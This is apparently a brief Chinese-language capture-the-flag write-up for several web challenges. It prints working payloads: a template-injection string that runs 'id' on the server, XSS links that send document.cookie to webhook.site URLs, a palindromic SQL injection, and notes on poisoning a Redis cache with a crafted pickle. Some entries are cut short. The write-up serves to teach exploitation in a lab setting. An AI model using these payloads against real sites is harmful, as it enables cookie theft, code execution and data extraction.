secure-page
set cookie admin=true
reverser
只需要reverse一下payload就好啦
payload:{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
flag-viewer
post /flag with user=admin
pastebin
https://pastebin.mc.ax/flash?message=</div><img src=1 onerror=navigator.sendBeacon(`https://webhook.site/42835022-42ff-42a3-873c-1df627e672bc`,document.cookie)> |
另一種做法也蠻簡單的,新建檔案,填入如下内容
<script |
point
post / with Whatpoint=that_point
利用了Go對於json大小寫的處理
oeps
|
想辦法構造回文字串的就可以注入了
submission='||(SELECT flag FROM flags))--))sgalf MORF galf TCELES(||'
inspect-me
從disord上看到的一個問答
Q: how does the backend detect the
view-source:
url?A: so it waits for the background image request before sending the rest of the response? quite clever
https://chrome.google.com/webstore/detail/allow-right-click/hompjdfbfmmmgflfjdlnkohcplmboaeo
這個蠻好用的
mk
https://unsafe.hen.ne.ke/labs/mathjax-csp/
payload:
https://mk.mc.ax/render?content=%3Ciframe%20srcdoc%3D%27%3Cscript%20type%3D%22text%2fjavascript%22%20src%3D%22%2fMathJax%2fMathJax.js%3Fconfig%3DTeX-MML-AM_CHTML%22%3E%3C%2fscript%3E%3Cscript%20type%3D%22text%2fx-mathjax-config%22%3E%20%20window.parent.document.location%3D%22https%3A%2f%2fwebhook.site%2f287ff1e8-1842-4e1b-b04c-87c138f31d85%3F%22%2bdocument.cookie%3C%2fscript%3E%27%3E%3C%2fiframe%3E |
使用iframe srcdoc是爲了解決在index.html
裏面output.innerHTML = res
這裏的觸發
當然可以這樣
https://mk.mc.ax/render?content=%3Cscript%20type%3D%22text%2fx-mathjax-config%22%3Ealert%281%29%3C%2fscript%3E%20%3Cscript%20type%3D%22text%2fjavascript%22%20async%20src%3D%22%2fMathJax%2fMathJax.js%3Fconfig%3DTeX-AMS_CHTML%22%3E%3C%2fscript%3E |
your-space(復現)
有一个直接的ssrf在creat space
的时候会触发
本地的起个服务看了看redis的内容,发现好像没有session相关的用户态数据存在(登录处理)。问题就变成了他会缓存那些信息
|
字面意思会缓存num_subscriptions
这个函数,访问/space/<space_id>
60秒内可以在redis里面查看下缓存,并用 pickletools.dis
查看下序列化的内容。正常功能的情况下,redis会出现如下内容
flask_cache_app.routes.space.num_subscriptions_memver => !\x80\x05\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06xxxxx\x94. |
用pickletools.dis
打印下值
>>> pickletools.dis(b"\x80\x05K\x00.") |
通过redis的内容以及合理的猜测(实际上是太菜了,懒得看源码)
flask_cache_app.routes.space.num_subscriptions_memver
里面会出现一个xxxx的后缀,这个应该与flask_cache_xk28vUr8TTGcOgNTxxxxx
有关,而flask_cache_xk28vUr8TTGcOgNTxxxxx
应该就是订阅的数量(可能这个键的值就是上面哪个函数的返回值?),这个例子里面是0
所以将flask_cache_app.routes.space.num_subscriptions_memver
值里面的x3mREg
改成任意一个xxxxx
,接着再设置一个flask_cache_xk28vUr8TTGcOgNTxxxxx
为!capp\nflag\n.
就好了。后面渲染的过程会去获取这个订阅的数量,也就是from app import flag
还有个细节就是flask_cache_app.routes.space.num_subscriptions_memver
要设置成下面脚本的内容,不然会被覆盖。具体原理要看源码吧,我就没看了
贴一个别人的脚本
import pickle |
payment-pal(复现)
这个题太难了,看官方wp吧